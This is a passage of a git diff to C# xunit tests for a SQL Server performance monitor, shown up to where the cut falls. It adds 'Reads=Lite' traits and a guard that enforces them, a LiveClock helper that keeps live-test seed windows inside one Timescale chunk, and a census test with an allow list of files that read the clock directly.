diff --git a/Darling/Darling.Tests/LiteAnalysisServiceCancellationSourceTests.cs b/Darling/Darling.Tests/LiteAnalysisServiceCancellationSourceTests.cs
index e8411f47dd..7d2d9a4532 100644
--- a/Darling/Darling.Tests/LiteAnalysisServiceCancellationSourceTests.cs
+++ b/Darling/Darling.Tests/LiteAnalysisServiceCancellationSourceTests.cs
@@ -25,6 +25,7 @@ namespace Darling.Tests;
 /// The wiring itself — that DuckDB actually observes the token — is proven by Lite.Tests' Windows-only pins;
 /// this pin only proves the shape is present.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class LiteAnalysisServiceCancellationSourceTests
 {
     private const string AnalysisServicePath = "Lite/Analysis/AnalysisService.cs";
@@ -38,7 +39,7 @@ public sealed class LiteAnalysisServiceCancellationSourceTests
     private const string CollectConfigAuditFactsAsyncSignature =
         "public async Task<List<Fact>> CollectConfigAuditFactsAsync(";
     private const string ComparePeriodsAsyncSignature =
-        "public async Task<(List<Fact> BaselineFacts, List<Fact> ComparisonFacts, WindowCoverage? BaselineCoverage, WindowCoverage? ComparisonCoverage, IReadOnlyDictionary<string, BaselineBucket> Dispersion)> ComparePeriodsAsync(";
+        "public async Task<(List<Fact> BaselineFacts, List<Fact> ComparisonFacts, WindowCoverage? BaselineCoverage, WindowCoverage? ComparisonCoverage, IReadOnlyDictionary<string, BaselineBucket> Dispersion, IReadOnlySet<string>? BaselineSecondaries, IReadOnlySet<string>? ComparisonSecondaries)> ComparePeriodsAsync(";
     private const string LookUpDispersionAsyncSignature =
         "private async Task<IReadOnlyDictionary<string, BaselineBucket>> LookUpDispersionAsync(";
     // The next declaration after LookUpDispersionAsync in file order (#4203's four end here); anchors the
diff --git a/Darling/Darling.Tests/LiteJobHistoryLoadingCapTests.cs b/Darling/Darling.Tests/LiteJobHistoryLoadingCapTests.cs
index cb9e4254cf..15b9e56036 100644
--- a/Darling/Darling.Tests/LiteJobHistoryLoadingCapTests.cs
+++ b/Darling/Darling.Tests/LiteJobHistoryLoadingCapTests.cs
@@ -20,6 +20,7 @@ namespace Darling.Tests;
 /// <c>ViewerPerfmonShapingParityTests</c> pins Viewer/Lite parity — a source scan, not a rendered control.
 /// The label text itself is pinned once, off this call path, by <c>JobHistoryCapLabelTests</c>.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class LiteJobHistoryLoadingCapTests
 {
     [Fact]
@@ -28,7 +29,9 @@ public void LiteJobHistoryTab_CallsTheSharedCapLabel_AndDeclaresALoadingElement(
         var cs = RepoFile.ReadRepoFile("Lite", "Controls", "JobHistoryTab.xaml.cs");
         var stripped = CSharpSourceWalker.StripCommentsAndStrings(cs);
 
-        Assert.Contains("JobHistoryCap.Label(", stripped, StringComparison.Ordinal);
+        /* #4966: the tab builds its count text through JobHistoryCap.CountText, which calls the shared Label; the writers of the text are
+           pinned in JobHistoryCountTextTests. */
+        Assert.Contains("JobHistoryCap.CountText(", stripped, StringComparison.Ordinal);
 
         /* The loading element is shown before the read starts and collapsed in a finally, so it clears on
            every exit path (success, the caught exception, and a superseded/early return). */
diff --git a/Darling/Darling.Tests/LiteJobHistorySourceTests.cs b/Darling/Darling.Tests/LiteJobHistorySourceTests.cs
index ac639b0b0a..a1e7d77baa 100644
--- a/Darling/Darling.Tests/LiteJobHistorySourceTests.cs
+++ b/Darling/Darling.Tests/LiteJobHistorySourceTests.cs
@@ -18,6 +18,7 @@ namespace Darling.Tests;
 /// to the newest batch's <c>collection_time</c> rather than a plain unscoped MAX, and (b) the pre-insert
 /// natural-key dedupe runs before the appender opens, by textual order in the method body. Runs on macOS.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class LiteJobHistorySourceTests
 {
     /// <summary>Extracts one method's body by brace-matching from its signature line, so the anchors below
diff --git a/Darling/Darling.Tests/LitePerfmonWaitStatisticsArtifactSourceTests.cs b/Darling/Darling.Tests/LitePerfmonWaitStatisticsArtifactSourceTests.cs
index f3680682cf..2e9925d7d8 100644
--- a/Darling/Darling.Tests/LitePerfmonWaitStatisticsArtifactSourceTests.cs
+++ b/Darling/Darling.Tests/LitePerfmonWaitStatisticsArtifactSourceTests.cs
@@ -20,6 +20,7 @@ namespace Darling.Tests;
 /// Lite.Tests' Windows-only fact plus a local DuckDB check recorded in the PR body — this pin only proves the
 /// text is present, not that DuckDB accepts it.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class LitePerfmonWaitStatisticsArtifactSourceTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/LiteReadsTraitGuardTests.cs b/Darling/Darling.Tests/LiteReadsTraitGuardTests.cs
new file mode 100644
index 0000000000..ffe4973df9
--- /dev/null
+++ b/Darling/Darling.Tests/LiteReadsTraitGuardTests.cs
@@ -0,0 +1,213 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Every Darling.Tests class that reads a file under <c>Lite/</c> or <c>Lite.Tests/</c> carries
+/// <c>[Trait("Reads", "Lite")]</c> (#5459 cut 3a), the mirror of Lite.Tests' <c>DarlingReadsTraitGuardTests</c>.
+///
+/// <para><b>Why the trait exists.</b> A pull request whose diff touches only Lite cannot change anything the Darling
+/// service or viewer does, but it can change a Lite file that a Darling.Tests class reads as source (a cross-app
+/// parity pin, a column-order comparison, a census over every XAML file). build.yml's <c>build</c> job therefore runs
+/// ONLY the classes tagged <c>Reads=Lite</c> plus the Guard stage for such a diff on a pull request (and
+/// <c>darling-tree-guards</c> does the same when the diff is Lite-only and left the build job's step unrun), and
+/// the whole suite for any diff that touches Darling, a shared library, a root build file or a release. The
+/// selection is the runner's own <c>-trait Reads=Lite</c> filter, so there is no roster to keep: a class gets into
+/// the narrow run by being tagged.</para>
+///
+/// <para><b>What this guard is for.</b> A class that reads a Lite file and is NOT tagged would silently stop running
+/// on Lite-only pull requests, and the nightly would be the first place its failure showed. So the requirement is
+/// derived from the source: add a read of a Lite path to a test class and the class must carry the trait, or this
+/// fails and names the class. <c>.github/scripts/tag-reads-lite.py</c> applies the tags this message lists.</para>
+///
+/// <para><b>What counts as a read.</b> See <see cref="GuardStageScanner.ReadsALitePath(string)"/>. The scan is per
+/// FILE, so a helper class that holds the path puts the trait on every test class beside it.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
+public sealed class LiteReadsTraitGuardTests
+{
+    /* Anti-vacuity floors, far below today's counts (see the PR that added the trait): a scan that stopped seeing
+       reads would otherwise pass for the wrong reason. */
+    private const int ReaderFloor = 100;
+    private const int TaggedFloor = 100;
+
+    [Fact]
+    public void TheDetector_SeesALiteRead_AndIgnoresProseAndOtherTrees()
+    {
+        Assert.True(GuardStageScanner.ReadsALitePath("var p = \"Lite/Services/X.cs\";"));
+        Assert.True(GuardStageScanner.ReadsALitePath("var p = @\"..\\Lite\\Services\\X.cs\";"));
+        Assert.True(GuardStageScanner.ReadsALitePath("var p = Path.Combine(root, \"Lite\", \"Mcp\", \"X.cs\");"));
+        Assert.True(GuardStageScanner.ReadsALitePath("var s = RepoFile.ReadRepoFile(\"Lite\", \"Analysis\", \"X.cs\");"));
+        Assert.True(GuardStageScanner.ReadsALitePath("var p = \"Lite.Tests/DataStartBannerQueriesTabTests.cs\";"));
+        Assert.True(GuardStageScanner.ReadsALitePath("var p = \"Lite/PerformanceMonitorLite.csproj\";"));
+        Assert.True(GuardStageScanner.ReadsALitePath("var p = \"PerformanceMonitorLite.Tests\";"));
+
+        Assert.False(GuardStageScanner.ReadsALitePath("// \"Lite/Services/X.cs\" in prose\nvar a = 1;"));
+        Assert.False(GuardStageScanner.ReadsALitePath("/* \"Lite/Services/X.cs\" */ var a = 1;"));
+        Assert.False(GuardStageScanner.ReadsALitePath("Assert.Contains(\"Lite: an unseeded store\", head);"));
+        Assert.False(GuardStageScanner.ReadsALitePath("var p = \"Darling/Darling.Tests/X.cs\";"));
+        Assert.False(GuardStageScanner.ReadsALitePath("var p = \"Delite/X.cs\";"));
+    }
+
+    [Fact]
+    public void TheDetector_SeesARecursiveEnumerationFromTheRepoRoot_AndNothingNarrower()
+    {
+        Assert.True(GuardStageScanner.ReadsALitePath(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.AllDirectories);"));
+        Assert.True(GuardStageScanner.ReadsALitePath(
+            "var f = Directory.GetFiles(RepoFile.Root, \"*.csproj\", SearchOption.AllDirectories);"));
+
+        Assert.False(GuardStageScanner.ReadsALitePath(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.TopDirectoryOnly);"));
+        Assert.False(GuardStageScanner.ReadsALitePath(
+            "var dir = Path.Combine(RepoRoot(), \"PerformanceMonitor.Common\");\n"
+          + "var f = Directory.GetFiles(dir, \"*.cs\", SearchOption.AllDirectories);"));
+    }
+
+    [Fact]
+    public void TheScan_FlagsATestClassThatReadsLiteAndCarriesNoTrait()
+    {
+        const string untagged = "namespace Darling.Tests;\n\n"
+          + "public sealed class SyntheticLiteReaderTests\n{\n"
+          + "    [Fact]\n"
+          + "    public void Read()\n"
+          + "    {\n"
+          + "        var text = RepoFile.ReadRepoFile(\"Lite\", \"Services\", \"X.cs\");\n"
+          + "    }\n"
+          + "}\n";
+        var tagged = untagged.Replace(
+            "public sealed class", GuardStageScanner.LiteTraitText + "\npublic sealed class", StringComparison.Ordinal);
+
+        var before = Assert.Single(GuardStageScanner.ScanText(untagged));
+        Assert.True(before.ReadsLite);
+        Assert.False(before.TaggedLite);
+
+        var after = Assert.Single(GuardStageScanner.ScanText(tagged));
+        Assert.True(after.ReadsLite);
+        Assert.True(after.TaggedLite);
+    }
+
+    [Fact]
+    public void EveryTestClassThatReadsALitePath_CarriesTheReadsLiteTrait()
+    {
+        var rows = GuardStageScanner.Scan(TestsRoot(), ProjectFile());
+
+        var readers = rows.Where(r => r.ReadsLite).ToList();
+        Assert.True(
+            readers.Count >= ReaderFloor,
+            $"only {readers.Count} Darling.Tests classes were found reading a Lite path; the scan has stopped seeing them");
+        var missing = readers.Where(r => !r.TaggedLite).Select(r => $"{r.File}: {r.Name}").OrderBy(m => m, StringComparer.Ordinal).ToList();
+
+        Assert.True(
+            missing.Count == 0,
+            $"These Darling.Tests classes read a Lite path but do not carry {GuardStageScanner.LiteTraitText}, so a "
+          + "pull request that changes only Lite files would not run them. Add the attribute above each class, or run "
+          + "python .github/scripts/tag-reads-lite.py with this list saved to a file:\n  " + string.Join("\n  ", missing));
+
+        Assert.True(
+            rows.Count(r => r.TaggedLite) >= TaggedFloor,
+            "the Reads=Lite trait scan has stopped seeing the tagged classes");
+    }
+
+    [Fact]
+    public void TheTraitXunitSelects_IsTheTraitTheSourceScanSees()
+    {
+        /* The runner's -trait Reads=Lite reads the loaded assembly, not the source. A trait written in a shape the scan
+           reads but the runtime does not (or the reverse) would run fewer classes than the census believes. */
+        var selected = typeof(LiteReadsTraitGuardTests).Assembly.GetTypes()
+            .Where(t => t.IsClass && HasLiteTrait(t))
+            .Select(t => t.Name)
+            .ToHashSet(StringComparer.Ordinal);
+        var tagged = GuardStageScanner.Scan(TestsRoot(), ProjectFile())
+            .Where(r => r.TaggedLite)
+            .Select(r => r.Name)
+            .ToList();
+
+        Assert.True(selected.Count >= TaggedFloor, $"xunit selects only {selected.Count} classes for Reads=Lite");
+        var notSelected = tagged.Where(n => !selected.Contains(n)).OrderBy(n => n, StringComparer.Ordinal).ToList();
+        Assert.True(
+            notSelected.Count == 0,
+            "The source says these classes carry Reads=Lite but the built assembly does not:\n  " + string.Join("\n  ", notSelected));
+    }
+
+    /// <summary>
+    /// The build job's <c>darling</c> filter is the union of two things: the paths that run the WHOLE suite
+    /// (<c>darling_full</c>) and the Lite paths that run only the Guard and Reads=Lite classes. A path added to
+    /// <c>darling</c> and not to <c>darling_full</c> would silently narrow the run for an edit that is not a Lite file.
+    /// </summary>
+    [Fact]
+    public void TheDarlingFilter_IsTheFullSuiteFilter_PlusLitePathsOnly()
+    {
+        var yaml = File.ReadAllText(Path.Combine(RepoFile.Root, ".github", "workflows", "build.yml"))
+            .Replace("\r\n", "\n", StringComparison.Ordinal);
+
+        var all = FilterEntries(yaml, "darling");
+        var full = FilterEntries(yaml, "darling_full");
+
+        Assert.NotEmpty(full);
+        Assert.Contains("Darling/**/!(*.md)", full);
+        Assert.Empty(full.Except(all));
+
+        var narrowed = all.Except(full).ToList();
+        Assert.NotEmpty(narrowed);
+        var notLite = narrowed.Where(e => !e.StartsWith("Lite/", StringComparison.Ordinal) && !e.StartsWith("Lite.Tests/", StringComparison.Ordinal)).ToList();
+        Assert.True(
+            notLite.Count == 0,
+            "These entries are in build.yml's 'darling' filter but not in 'darling_full', so a diff that reaches only "
+          + "them would run just the Guard and Reads=Lite classes. Only Lite paths may be narrowed; add the others to "
+          + "'darling_full':\n  " + string.Join("\n  ", notLite));
+    }
+
+    private static bool HasLiteTrait(Type type)
+    {
+        foreach (var attribute in type.GetCustomAttributesData())
+        {
+            if (attribute.AttributeType.Name != "TraitAttribute" || attribute.ConstructorArguments.Count != 2)
+            {
+                continue;
+            }
+
+            if (Equals(attribute.ConstructorArguments[0].Value, "Reads") && Equals(attribute.ConstructorArguments[1].Value, "Lite"))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>The quoted patterns of one filter in the build job's <c>filters: |</c> block (12-space keys).</summary>
+    private static List<string> FilterEntries(string yaml, string name)
+    {
+        var at = yaml.IndexOf("\n            " + name + ":\n", StringComparison.Ordinal);
+        Assert.True(at > 0, $"build.yml's '{name}' path filter is gone");
+        var rest = yaml[(at + 1)..];
+        var next = Regex.Match(rest[1..], "\n            [a-z_]+:\n|\n      - name: ");
+        var block = next.Success ? rest[..(next.Index + 1)] : rest;
+
+        return Regex.Matches(block, @"^\s*-\s*'(?<p>[^']+)'\s*$", RegexOptions.Multiline)
+            .Select(m => m.Groups["p"].Value)
+            .ToList();
+    }
+
+    private static string TestsRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetDirectoryName(thisFile)
+        ?? throw new InvalidOperationException("The caller file path has no directory.");
+
+    private static string ProjectFile() => Path.Combine(TestsRoot(), "Darling.Tests.csproj");
+}
diff --git a/Darling/Darling.Tests/LiveCleanupConversionRatchetTests.cs b/Darling/Darling.Tests/LiveCleanupConversionRatchetTests.cs
index 848bb12dd8..3de0aed672 100644
--- a/Darling/Darling.Tests/LiveCleanupConversionRatchetTests.cs
+++ b/Darling/Darling.Tests/LiveCleanupConversionRatchetTests.cs
@@ -89,6 +89,7 @@ namespace Darling.Tests;
 /// about scratch DATABASES and not a licence for the classes that use them: one which joins the shared
 /// collection is scanned like anything else, pinned below in both directions.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class LiveCleanupConversionRatchetTests
 {
     /// <summary>The attribute that puts a class in the shared live collection, and so in this scan.</summary>
diff --git a/Darling/Darling.Tests/LiveClock.cs b/Darling/Darling.Tests/LiveClock.cs
new file mode 100644
index 0000000000..2cf1f5c659
--- /dev/null
+++ b/Darling/Darling.Tests/LiveClock.cs
@@ -0,0 +1,48 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The one clock a live test seeds against (#5608). A live test that seeds rows "N hours before now" puts them in
+/// different Timescale chunks depending on the hour the test runs: the store's raw chunks are one UTC day, so between
+/// 00:00 and 04:00 UTC a 4-hour window straddles a chunk boundary, and between 00:00 and 24:00 a window of a day or
+/// more always does. A test that counts blocks, reads a plan or looks at which chunks hold rows then answers
+/// differently around midnight, and fails only on a pull request that happens to run then.
+///
+/// <para><see cref="AnchoredEnd"/> is a fixed point inside one chunk (22:00 UTC on the previous UTC day), so a window
+/// of up to four hours ending there never leaves its chunk and the answer is the same at any hour. A test that
+/// wants a window of a day or more still straddles a boundary, but at the same place every run.</para>
+///
+/// <para>The environment variable <c>DARLING_TEST_CLOCK_UTC</c> (an ISO-8601 UTC time, read only here) replaces the
+/// real clock, so a run at 12:00 can be proved as if it were 00:30 without touching the machine's clock.</para>
+/// </summary>
+internal static class LiveClock
+{
+    /// <summary>Name of the test-only override; it is read nowhere in product code.</summary>
+    public const string OverrideVariable = "DARLING_TEST_CLOCK_UTC";
+
+    /// <summary>"Now" for a live test: the override when set, else the UTC clock, cut to the second, unspecified kind (a store timestamp).</summary>
+    public static DateTime Now()
+    {
+        var text = Environment.GetEnvironmentVariable(OverrideVariable);
+        var now = string.IsNullOrWhiteSpace(text)
+            ? DateTime.UtcNow
+            : DateTime.Parse(text, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+        return DateTime.SpecifyKind(new DateTime(now.Ticks - (now.Ticks % TimeSpan.TicksPerSecond)), DateTimeKind.Unspecified);
+    }
+
+    /// <summary>
+    /// A fixed point inside one raw chunk: 22:00 UTC on the previous UTC day. Four hours before it is 18:00 the same day,
+    /// so a window of up to four hours never crosses a 24, 12 or 6 hour chunk boundary, whatever hour the test runs.
+    /// </summary>
+    public static DateTime AnchoredEnd() => Now().Date.AddDays(-1).AddHours(22);
+}
diff --git a/Darling/Darling.Tests/LiveClockCensusTests.cs b/Darling/Darling.Tests/LiveClockCensusTests.cs
new file mode 100644
index 0000000000..0073fd7de8
--- /dev/null
+++ b/Darling/Darling.Tests/LiveClockCensusTests.cs
@@ -0,0 +1,218 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A live Postgres test that counts blocks from a plan (<c>Shared Hit Blocks</c> / <c>Shared Read Blocks</c>) seeds its
+/// window through <see cref="LiveClock"/> or is on the allow list with its reason (#5608). Block counts depend on where
+/// a Timescale chunk boundary falls in the seeded rows, and rows seeded "N hours before the clock" move that boundary
+/// with the hour the test runs: the newest-snapshot test measured perfmon old=264 new=120 at 00:50 UTC against
+/// new=57 at 01:13, and failed the pull request that happened to run then. <see cref="LiveClock.AnchoredEnd"/> keeps
+/// a window inside one chunk; <see cref="LiveClock.Now"/> carries the test-only clock override, so a run at midday can
+/// be proved as if it were 00:30.
+///
+/// <para>The rule is per file, as <see cref="TimingTestCensusTests"/> does it. "Reads a wall clock" is
+/// <c>DateTime.UtcNow</c>, <c>DateTime.Now</c>, <c>DateTimeOffset.UtcNow</c> or <c>DateTimeOffset.Now</c> in code
+/// (comments and string literals do not count); "counts blocks" is one of the two plan property names above. A file
+/// that does both and does not call <c>LiveClock.</c> fails unless it is named in the allow list with a reason, and an
+/// allow entry that no longer matches fails, so the list only shrinks.</para>
+///
+/// <para>The second rule covers plan shape and the chunk catalog. A live file that reads <c>EXPLAIN</c>, <c>show_chunks</c>,
+/// <c>timescaledb_information.chunks</c>, <c>compress_chunk</c> or <c>ChunkAppend</c> and reads the wall clock directly asserts
+/// on chunk layout, or may, and the layout moves with the hour. Such a file seeds and reads through <see cref="LiveClock"/>, or
+/// is named in <c>s_allowedPlanShape</c> with the reason its assertions cannot depend on where a boundary falls (it reads no
+/// time, or the product reads the real clock itself and the assertion holds for any layout). A stale entry fails here too.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class LiveClockCensusTests
+{
+    private static readonly Dictionary<string, string> s_allowed = new(StringComparer.Ordinal)
+    {
+        // Empty on purpose: every file that counts blocks anchors through LiveClock. Add an entry only with a reason that
+        // says why the count cannot depend on where a chunk boundary falls.
+    };
+
+    /// <summary>
+    /// Live files that touch a plan or the chunk catalog and read the clock directly, with the reason each is safe as it is.
+    /// Every other such file goes through <see cref="LiveClock"/>.
+    /// </summary>
+    private static readonly Dictionary<string, string> s_allowedPlanShape = new(StringComparer.Ordinal)
+    {
+        ["AnomalyObjectStatsLatestSnapshotsLiveTests.cs"] = "The read has no time predicate and the plan assertion names an index, not a chunk. The two snapshots are two days apart, so they sit in different chunks at any hour, and nothing passes the seeded time to the product.",
+        ["CaggGroupIndexDropUpgradeLiveTests.cs"] = "The only clock reads time a stopwatch around an upgrade. No row is seeded from the wall clock.",
+        ["CollectionGapAtStartTests.cs"] = "Seeds 35 days of hourly rows ending now, so 'at least four chunks' holds at any hour. The read takes no time, and the plan assertion is the access path (an index scan, no sequential scan), which a boundary does not change.",
+        ["CollectionHealthAggregateTests.cs"] = "Seeds with SQL now() and the policy refresh runs on the server's own clock, so the window cannot be anchored from outside. Its assertions (at least N daily chunks over eight days, at least one covered chunk below the watermark and outside the hole's chunk) hold for any layout.",
+        ["CollectionLogSegmentByLiveTests.cs"] = "Seeds from midnight six days back to now minus 15 minutes and compresses chunks older than three days with SQL now(), so the product reads the real clock. The assertions are the segment-by setting of every chunk, the same for each chunk, so no layout changes the answer.",
+        ["DarlingDeltaSeederTests.cs"] = "SeedFromStoreAsync reads a window back from the product's own real clock, so a seed placed by an override falls outside it (the two live tests failed under 00:30Z). The rows sit minutes before now, and the assertions are delta values, not plan shape or chunk membership.",
+        ["DarlingModuleMapGroupedSourceLiveTests.cs"] = "The daily refresh statement reads now() - 2 days with no bound parameter, so the product reads the real clock and a seed placed by an override falls outside its window (the refresh test failed under 12:00Z). The rows sit three hours before now, far inside the window, and the assertions are the newest name per handle, not chunk layout.",
+        ["DarlingStoreUpgradeTests.cs"] = "The only clock read is a 30 second polling deadline for a marker file. No row is seeded from it.",
+        ["PerfmonRegroupLiveTests.cs"] = "The only direct clock reads are a poll deadline. Seeds are whole UTC days from the run start date, the policy test seeds three to five days back (the two-days-back version was #5579's 00:00 to 03:00 failure), and the reach test counts chunks from the database clock, so the day-3 chunk cannot drop out of a count at midnight UTC.",
+        ["ForcePlanFailuresAccessPathTests.cs"] = "The shipped read takes its two-hour window from the product's own real clock, so a seed placed by the test clock override falls outside it and the read comes back empty (it failed five of five runs at a 00:30 override). The plan assertions hold across a chunk boundary: at that override they all passed before the read, so the real-clock seed needs no anchor.",
+        ["PayloadDimensionLiveTests.cs"] = "Seeds dates 45 and 400 days back, mid-chunk, and asserts on dimension rows, not on chunk or block counts. The clock is only a stamp.",
+        ["PerfmonRegroupLiveSupport.cs"] = "Every seed is a whole UTC day taken from the run start date, and the compress reach is read from the database clock, which a test override cannot move. The window does not move with the hour (#5579's two-days-back seed was the 00:00 to 03:00 defect; the policy test now seeds three to five days back).",
+        ["PgDeadlockRemaskTests.cs"] = "Seeds midday of a date or fixed dates, so no seeded window straddles a day boundary.",
+        ["PgPlanCaptureCsvLiveTests.cs"] = "The clock is only the collection stamp. The class needs an external target and skips on a rig without one.",
+        ["PgPlanCaptureLiveTests.cs"] = "The clock is only the collection stamp. The class needs an external target and skips on a rig without one.",
+        ["PgServerConfigToolBoundTests.cs"] = "The chunk-scan asserts are written as ranges, so they hold for any layout, and the reader's own read takes the real clock, so an override cannot reach it.",
+        ["PgTargetSeqScanTests.cs"] = "No EXPLAIN or chunks (the 'Seq Scan' is planted plan JSON), and the analyze tool rejects an end ahead of the real clock, so the test must stay on the real clock (an override at 12:00Z made it fail).",
+        ["PlanRegressionDailyBuilderLiveTests.cs"] = "Fixed March dates on plain tables, including the block count. The one real-clock fact seeds five whole days back and its trigger reads the database clock.",
+        ["QueryStoreBackfillCutChunkLiveTests.cs"] = "Fixed June dates. The one test that follows the real clock waits until the floor is 3 minutes clear of a boundary.",
+        ["QueryStoreBackgroundIndexesLiveTests.cs"] = "Seeds from SQL now() and compares the same store before and after the indexes, so the chunk layout is the same on both sides.",
+        ["QueryStoreIntervalPurgeRowCappedTests.cs"] = "Plain tables, fixed dates for the plan asserts, and whole-day margins around the retention horizon.",
+        ["QueryStoreIntervalWideBelowFloorLiveTests.cs"] = "Anchored to the date (6 days back); the clock is only a stamp.",
+        ["QueryStoreIntervalWideGridLiveTests.cs"] = "Fixed 15 September window; the clock is only a write stamp.",
+        ["QueryStoreTopLiteralEndStraddleLiveTests.cs"] = "Fixed 15 September window; the clock is only a write stamp.",
+        ["QueryStoreTopMcpLiveTests.cs"] = "Fixed 15 September window; the clock is only a write stamp.",
+        ["RawPurgeTriggerGateErrorTests.cs"] = "Seeds from the database clock one to ten days back, and its asserts are relative (chunks before greater than 0, after less than before, equal before and after).",
+        ["RawPurgeTriggerLiveTests.cs"] = "Seeds from the database clock one to ten days back, and its asserts are relative (chunks before greater than 0, after less than before, equal before and after).",
+        ["RawTablesLeaveCatalogSweepLiveTests.cs"] = "Seeds from the database clock one to ten days back, and its asserts are relative (chunks before greater than 0, after less than before, equal before and after).",
+        ["ServerListAndSummaryPlanShapeTests.cs"] = "The newest row is one minute old and the assert is at most two chunks visited, true on either side of midnight. No time goes to the product.",
+        ["StoreMetricsLatestSkipScanLiveTests.cs"] = "A plain table; it asserts index names, not chunks.",
+        ["StoreSelfMetricsTests.cs"] = "Seeds are placed at midday of a date (#1972); the clock is only a stamp.",
+        ["TimescaleSupportTests.cs"] = "Seeds are placed at midday of a date (#1972); the clock is only a stamp.",
+    };
+
+    private static readonly Regex s_clock = new(@"\bDateTime(?:Offset)?\s*\.\s*(?:UtcNow|Now)\b", RegexOptions.Compiled);
+
+    private static readonly Regex s_blocks = new(@"Shared (?:Hit|Read) Blocks", RegexOptions.Compiled);
+
+    /// <summary>A plan or the chunk catalog: the second family of assertions that depend on where a chunk boundary falls.</summary>
+    private static readonly Regex s_plan = new(@"EXPLAIN|show_chunks|timescaledb_information\.chunks|compress_chunk|ChunkAppend", RegexOptions.Compiled);
+
+    private static readonly Regex s_live = new(@"DARLING_TEST_PG|ScratchPostgres", RegexOptions.Compiled);
+
+    private static readonly Regex s_anchor = new(@"\bLiveClock\s*\.", RegexOptions.Compiled);
+
+    /// <summary>Anti-vacuity: at least this many files count blocks, so a scan that stopped matching fails.</summary>
+    private const int BlockCountingFloor = 2;
+
+    /// <summary>Anti-vacuity for the plan and chunk-catalog rule: dozens of live files read a plan today.</summary>
+    private const int PlanReadingFloor = 20;
+
+    internal sealed record Row(string File, bool Live, bool ReadsClock, bool CountsBlocks, bool UsesAnchor, bool ReadsPlanOrChunks = false);
+
+    internal static Row ScanText(string file, string text)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+        return new Row(file, s_live.IsMatch(text), s_clock.IsMatch(code), s_blocks.IsMatch(text), s_anchor.IsMatch(code), s_plan.IsMatch(text));
+    }
+
+    internal static List<string> Problems(IEnumerable<Row> rows, IReadOnlyDictionary<string, string> allowed) =>
+        Problems(rows, allowed, r => r.CountsBlocks);
+
+    internal static List<string> Stale(IEnumerable<Row> rows, IReadOnlyDictionary<string, string> allowed) =>
+        Stale(rows, allowed, r => r.CountsBlocks);
+
+    /// <summary>A live file of the given kind that reads the wall clock directly, not through <see cref="LiveClock"/>, and is not allowed.</summary>
+    internal static List<string> Problems(IEnumerable<Row> rows, IReadOnlyDictionary<string, string> allowed, Func<Row, bool> kind) =>
+        rows.Where(r => r.Live && kind(r) && r.ReadsClock && !r.UsesAnchor && !allowed.ContainsKey(r.File))
+            .Select(r => r.File).ToList();
+
+    internal static List<string> Stale(IEnumerable<Row> rows, IReadOnlyDictionary<string, string> allowed, Func<Row, bool> kind)
+    {
+        var byFile = rows.ToDictionary(r => r.File, StringComparer.Ordinal);
+        return allowed.Keys
+            .Where(f => !byFile.TryGetValue(f, out var r) || !(r.Live && kind(r) && r.ReadsClock && !r.UsesAnchor))
+            .ToList();
+    }
+
+    private static List<Row> Scan() =>
+        Directory.EnumerateFiles(TestsRoot(), "*.cs", SearchOption.TopDirectoryOnly)
+            .Select(p => ScanText(Path.GetFileName(p), File.ReadAllText(p)))
+            .ToList();
+
+    [Fact]
+    public void TheDetector_FlagsAClockedBlockCounter_AndIgnoresAnchoredProseAndStringFiles()
+    {
+        var bare = ScanText("Bare.cs", "// DARLING_TEST_PG\nclass A { void B() { var e = DateTime.UtcNow; var s = \"Shared Hit Blocks\"; } }");
+        var anchored = ScanText("Anchored.cs", "// DARLING_TEST_PG\nclass A { void B() { var e = LiveClock.AnchoredEnd(); var s = \"Shared Hit Blocks\"; var n = DateTime.UtcNow; } }");
+        var prose = ScanText("Prose.cs", "// DARLING_TEST_PG DateTime.UtcNow\nclass A { void B() { var s = \"DateTime.UtcNow Shared Hit Blocks\"; } }");
+        var noBlocks = ScanText("NoBlocks.cs", "// DARLING_TEST_PG\nclass A { void B() { var e = DateTime.UtcNow; } }");
+
+        Assert.Equal(new[] { "Bare.cs" }, Problems(new[] { bare, anchored, prose, noBlocks }, new Dictionary<string, string>()));
+        Assert.Empty(Problems(new[] { bare }, new Dictionary<string, string> { ["Bare.cs"] = "reason" }));
+        Assert.Equal(new[] { "Gone.cs" }, Stale(new[] { bare }, new Dictionary<string, string> { ["Bare.cs"] = "reason", ["Gone.cs"] = "reason" }));
+    }
+
+    [Fact]
+    public void EveryLiveTestThatCountsBlocks_SeedsThroughTheLiveClock_OrIsAllowedWithAReason()
+    {
+        var rows = Scan();
+
+        var problems = Problems(rows, s_allowed);
+        Assert.True(
+            problems.Count == 0,
